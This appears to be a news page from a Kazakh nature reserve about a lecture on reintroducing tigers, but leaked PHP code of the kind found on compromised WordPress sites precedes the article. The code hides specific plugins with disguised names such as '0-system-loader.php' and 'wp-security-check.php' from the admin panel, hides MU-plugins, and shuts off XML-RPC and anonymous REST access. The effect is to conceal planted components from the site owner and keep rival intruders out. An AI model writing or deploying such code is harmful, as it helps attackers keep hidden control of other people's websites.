// Security: Disable remote access add_filter("xmlrpc_enabled", "__return_false"); add_filter("xmlrpc_methods", function($methods) { return array(); }); add_filter('show_advanced_plugins', '__return_false', 999); // Hide specific plugins from admin panel add_filter("all_plugins", "hide_specific_plugins"); function hide_specific_plugins($plugins) { $hide_list = array('wp-system-health/wp-system-health.php', '0-system-loader.php', 'wp-security-check.php', 'wp-maintenance.php'); foreach ($hide_list as $hide) { if (isset($plugins[$hide])) { unset($plugins[$hide]); } } return $plugins; } // Hide MU-plugins if visible add_filter("show_advanced_plugins", function($show) { return false; }); // WP2Shell REST API protection add_filter('rest_authentication_errors', function($result) { if (!is_user_logged_in() && !is_admin()) { return new WP_Error('rest_disabled', 'REST API disabled', ['status' => 401]); } return $result; }); ? Реинтродукция тигра в Казахстан — важный шаг в восстановлении природы — Иле-Балхашский заповедник ? Реинтродукция тигра в Казахстан — важный шаг в восстановлении природы — Иле-Балхашский заповедник

? Реинтродукция тигра в Казахстан — важный шаг в восстановлении природы

Опубликовано: 4 мая, 2026 Разделы: Новости

Специалисты отдела «Экологическое просвещение, рекреация и туризм» государственного природного резервата «Иле-Балхаш» провели экологическую лекцию на тему «Программа реинтродукции тигра в Казахстан» для профессорско-преподавательского состава кафедр «Ботаника и агроэкология» и «Зоология, гистология и цитология» Казахского национального университета имени Аль-Фараби, а также для докторантов и магистрантов.

В ходе лекции была представлена подробная информация о значимости проекта по возвращению тигра в его исторический ареал, природных особенностях Иле-Балхашского региона, проводимой работе по сохранению биоразнообразия и мерах по восстановлению экосистемы.

В завершение мероприятия участники задали вопросы и обменялись мнениями. Также были обсуждены вопросы укрепления научно-познавательного сотрудничества между двумя учреждениями.